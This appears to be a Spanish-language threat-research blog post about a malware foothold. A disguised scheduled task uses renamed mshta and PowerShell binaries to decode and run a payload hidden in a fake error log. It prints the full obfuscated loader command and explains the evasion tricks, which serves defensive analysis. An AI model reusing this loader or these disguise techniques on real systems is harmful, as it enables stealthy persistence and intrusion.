Esconderse a plena vista

Hace poco nos encontramos con algo interesante. ¿Qué crees que es este archivo?

Registro de error de una aplicación externa

A simple vista, parece un registro de alguna aplicación. Tiene marcas de tiempo e incluye referencias a OS 6.2, el número de versión interno de Windows 8 y Windows Server 2012.

Resulta que este archivo está asociado con un punto de apoyo malicioso que descubrimos. Los autores del malware usaron varios trucos para esconderse a simple vista, como renombrar archivos legítimos, hacerse pasar por una tarea programada existente y usar un payload malicioso guardado en un archivo diseñado para parecer un registro de errores.

Hay algo sospechoso  

Hace poco nos encontramos con un punto de apoyo interesante: una tarea programada llamada BfeOnServiceStartTypenChange con el siguiente comando:

"C:\Windows\system32\BfeOnService.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\"cmd.exe /C 
C:\Windows\system32\engine.exe -c \"\"IEX $($(gc
'C:\Windows\a.chk'|%{[char][int]($_.split('x')[-1])})-join'')\"\"\",0,True)(window.close)"

Al inspeccionar visualmente el comando, no hay nada que parezca malicioso de por sí (alguien con experiencia en programación podría notar que el split() es un poco extraño).

La tarea en sí incluye la siguiente descripción:
Esta tarea ajusta el tipo de inicio de los servicios activados por el firewall cuando el tipo de inicio del Base Filtering Engine (BFE) está deshabilitado.

Los nombres de archivo BfeOnService.exe y engine.exe parecen encajar con la descripción de la tarea. El comando hace referencia al archivo c:\windows\a.chk, y arriba mostramos un fragmento de dicho archivo.

Si solo se le da un vistazo rápido, la tarea, el comando (en especial los nombres de archivo ejecutable) y el “registro” podrían pasar por legítimos. Al examinarlo más de cerca, el nombre y la descripción de la tarea son esencialmente una copia de otra tarea en el endpoint, BfeOnServiceStartTypeChange, que tiene la misma descripción con el comando %windir%\system32\rundll32.exe bfe.dll,BfeOnServiceStartTypeChange. Esta tarea sí es la legítima.

Volviendo al registro, un revisor atento podría notar que la última columna parece contener representaciones decimales (disfrazadas de hexadecimales) de caracteres ASCII. Además, el comando incluye una llamada a char, que se usa para convertir un número en su valor de carácter ASCII.

Caracteres ASCII ocultos en el registro

Aquí tienes un desglose del comando y lo que en realidad sucede:

Desglose del comando

BfeOnService.exe es una copia renombrada del mshta.exe legítimo. Se usa para ejecutar un script simple de VisualBasic que crea un shell y ejecuta un comando. El engine.exe es una copia renombrada del powershell.exe legítimo. Se usa para leer el “archivo de registro”, a.chk, convirtiendo los valores con apariencia hexadecimal en un comando de PowerShell que luego se ejecuta. Estos ejecutables renombrados cumplen dos propósitos: no destacan visualmente, y si monitorearas los procesos en ejecución buscando específicamente powershell.exe y mshta.exe, no los verías.

Una vez que los valores del archivo de registro se convierten a ASCII, obtenemos esto:

Archivo de registro


Mira el archivo completo aquí.

A grandes rasgos, esto es lo que hace el malware:

Etapas del archivo de registro

A continuación se muestran las funciones de cada payload que obtienen las aplicaciones instaladas. La principal diferencia está en la forma en que se ofuscan las cadenas.

Funciones del payload


Mira el archivo completo aquí.


No hay límite para las formas sigilosas en que los atacantes desarrollan y ejecutan sus técnicas. Como en este caso, a veces es tan simple como esconderse a simple vista.

Lee la segunda parte de esta serie de blogs aquí.

También te podría interesar